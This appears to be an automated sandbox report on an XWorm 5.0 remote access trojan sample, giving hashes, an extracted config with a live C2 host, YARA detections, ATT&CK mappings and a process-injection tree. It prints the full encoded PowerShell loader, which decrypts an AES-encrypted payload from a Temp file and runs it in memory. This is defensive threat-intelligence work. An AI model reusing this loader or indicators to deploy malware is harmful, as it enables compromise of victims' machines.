xworm | 1dc12b7529e0f04e870bc5c2aa78f053f2a0602a291ee5401ca4db11fbf6b9bc

General

Target

1dc12b7529e0f04e870bc5c2aa78f053f2a0602a291ee5401ca4db11fbf6b9bc.exe
Size

766KB
MD5

b808d5b7433f2f77bdbf5fd5df203ec9
SHA1

5a9c635489b3fecd8d9ecbaa557244df8338c762
SHA256

1dc12b7529e0f04e870bc5c2aa78f053f2a0602a291ee5401ca4db11fbf6b9bc
SHA512

7a9a2c058d50fc9e60ec71698e284607ac8b38942b69bb60792d4346937b5daa32ecb03aef02e694c66bc20934ab9ac40c91cb87a3fa509863b98e71dacbf266
SSDEEP

12288:Mdzd+m39dkAf5YSyBThO6QglvZUXI/KhrlpAYxylfB/VL1Fb91J36HAgVU:MdhkszyqFglRGI4rfAFlfB/Z9f+R6

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

zafa02.hopto.org:4545

Mutex

KecGg5CGEilLm2a5

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1444-18-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detects Windows executables referencing non-Windows User-Agents 1 IoCs

resource	yara_rule
behavioral2/memory/1444-18-0x0000000000400000-0x000000000040E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Detects executables packed with or use KoiVM 1 IoCs

resource	yara_rule
behavioral2/memory/1548-17-0x000002B2E3010000-0x000002B2E3072000-memory.dmp	INDICATOR_EXE_Packed_KoiVM

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1548 set thread context of 1444	1548	powershell.exe	99

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1548	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1548	powershell.exe
1548	powershell.exe
1548	powershell.exe
1548	powershell.exe
1548	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	1444	AddInProcess32.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1704 wrote to memory of 1548	1704	1dc12b7529e0f04e870bc5c2aa78f053f2a0602a291ee5401ca4db11fbf6b9bc.exe	92
PID 1704 wrote to memory of 1548	1704	1dc12b7529e0f04e870bc5c2aa78f053f2a0602a291ee5401ca4db11fbf6b9bc.exe	92
PID 1548 wrote to memory of 1444	1548	powershell.exe	99
PID 1548 wrote to memory of 1444	1548	powershell.exe	99
PID 1548 wrote to memory of 1444	1548	powershell.exe	99
PID 1548 wrote to memory of 1444	1548	powershell.exe	99
PID 1548 wrote to memory of 1444	1548	powershell.exe	99
PID 1548 wrote to memory of 1444	1548	powershell.exe	99
PID 1548 wrote to memory of 1444	1548	powershell.exe	99
PID 1548 wrote to memory of 1444	1548	powershell.exe	99
PID 1548 wrote to memory of 3396	1548	powershell.exe	100
PID 1548 wrote to memory of 3396	1548	powershell.exe	100
PID 1548 wrote to memory of 3396	1548	powershell.exe	100

C:\Users\Admin\AppData\Local\Temp\1dc12b7529e0f04e870bc5c2aa78f053f2a0602a291ee5401ca4db11fbf6b9bc.exe
"C:\Users\Admin\AppData\Local\Temp\1dc12b7529e0f04e870bc5c2aa78f053f2a0602a291ee5401ca4db11fbf6b9bc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkAFQAZQBtAHAARABpAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAKACQAUABhAHQAdABlAHIAbgAgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAEwAYQB0AGUAcwB0AEYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAVABlAG0AcABEAGkAcgAgAC0ARgBpAGwAdABlAHIAIAAkAFAAYQB0AHQAZQByAG4AIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIADjicZbIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAKWUGVMsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABFUz5EsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAHBlbmMKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAKBSxltoViAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJACgUsZbaFYuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJACgUsZbaFYuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkAOOJxltoViAAPQAgACQAoFLGW2hWLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQApZQZUywAIAAkABFUz5EpAAoAIAAgACAAIAAkAOOJxltwZW5jIAA9ACAAJADjicZbaFYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAHBlbmMsACAAMAAsACAAJABwZW5jLgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAOOJxltwZW5jCgB9AAoACgAkAKWUGVMgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAyAEUALAAgADAAeABCAEIALAAgADAAeAA3ADAALAAgADAAeAAyAEIALAAgADAAeABEADYALAAgADAAeABDAEYALAAgADAAeABFADgALAAgADAAeABDADcALAAgADAAeAAxAEQALAAgADAAeAA1ADYALAAgADAAeABCAEQALAAgADAAeAA0ADEALAAgADAAeAA5ADgALAAgADAAeABFADYALAAgADAAeABBAEUALAAgADAAeAAxADIALAAgADAAeABDADQALAAgADAAeAAxADQALAAgADAAeAA4ADAALAAgADAAeAA5AEEALAAgADAAeAAxADEALAAgADAAeAA4ADkALAAgADAAeAAzADYALAAgADAAeABFAEYALAAgADAAeAAyADAALAAgADAAeAAxAEUALAAgADAAeAA5ADUALAAgADAAeAA3AEMALAAgADAAeAA0AEQALAAgADAAeAAxADkALAAgADAAeAAxAEIALAAgADAAeABCADUAKQAKACQAEVTPkSAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADIAMgAsACAAMAB4AEYAMAAsACAAMAB4ADEARgAsACAAMAB4ADIAMQAsACAAMAB4ADkAOQAsACAAMAB4ADAANwAsACAAMAB4ADUAMAAsACAAMAB4AEMARAAsACAAMAB4AEYAMQAsACAAMAB4ADMAQQAsACAAMAB4AEIAOAAsACAAMAB4ADkANgAsACAAMAB4ADcAOAAsACAAMAB4ADIAMAAsACAAMAB4ADAAOQAsACAAMAB4AEEARgApAAoACgBpAGYAIAAoACQATABhAHQAZQBzAHQARgBpAGwAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAIdl9k7vjYRfIAA9ACAAJABMAGEAdABlAHMAdABGAGkAbABlAC4ARgB1AGwAbABOAGEAbQBlAAoAIAAgACAAIAAkAKBSxltXW4KCIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAIdl9k7vjYRfKQA7AAoAIAAgACAAIAAkAOOJxluFUblbIAA9ACAA44nGWyAALQCllBlTIAAkAKWUGVMgAC0AEVTPkSAAJAARVM+RIAAtAHBlbmMgACQAoFLGW1dbgoIKAAoAIAAgACAAIAAkAAt6j17GliAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQA44nGW4VRuVspACkAOwAKACAAIAAgACAAJABlUeNTuXAgAD0AIAAkAAt6j17Gli4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7AAoAIAAgACAAIAAkAGVR41O5cC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
  2⤵
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1444
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:3396

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3644 --field-trial-handle=2256,i,6670388345726423024,18382795228658886258,262144 --variations-seed-version /prefetch:8
1⤵
PID:3916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0o1s5zuk.pqz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\file-19822.putik

Filesize
20KB

MD5
e8a8497d146c7622db21a6fec0c4dd96

SHA1
cf80f1e8ffef15623c4932acf63642b9b4153068

SHA256
b9138b8834bdcde66528445885ffb2105734cc74e05f877de5aa5c4602a21a9a

SHA512
198a1c34e906032fceb98a6425037c670994ce6388222909e9901a847f509573ea835fd4348c162a4fa8acdcd5ff59068d46d8dffb040e04fc971fe9efd65938

Download Submit
memory/1444-18-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1444-24-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/1444-23-0x00000000745BE000-0x00000000745BF000-memory.dmp

Filesize
4KB

Download
memory/1444-22-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/1444-20-0x0000000005820000-0x00000000058BC000-memory.dmp

Filesize
624KB

Download
memory/1444-19-0x00000000745BE000-0x00000000745BF000-memory.dmp

Filesize
4KB

Download
memory/1548-17-0x000002B2E3010000-0x000002B2E3072000-memory.dmp

Filesize
392KB

Download
memory/1548-1-0x00007FF97B673000-0x00007FF97B675000-memory.dmp

Filesize
8KB

Download
memory/1548-16-0x000002B2E2C80000-0x000002B2E2C8A000-memory.dmp

Filesize
40KB

Download
memory/1548-14-0x00007FF97B670000-0x00007FF97C131000-memory.dmp

Filesize
10.8MB

Download
memory/1548-21-0x00007FF97B670000-0x00007FF97C131000-memory.dmp

Filesize
10.8MB

Download
memory/1548-13-0x00007FF97B670000-0x00007FF97C131000-memory.dmp

Filesize
10.8MB

Download
memory/1548-12-0x00007FF97B670000-0x00007FF97C131000-memory.dmp

Filesize
10.8MB

Download
memory/1548-2-0x000002B2E2C50000-0x000002B2E2C72000-memory.dmp

Filesize
136KB

Download

Analysis

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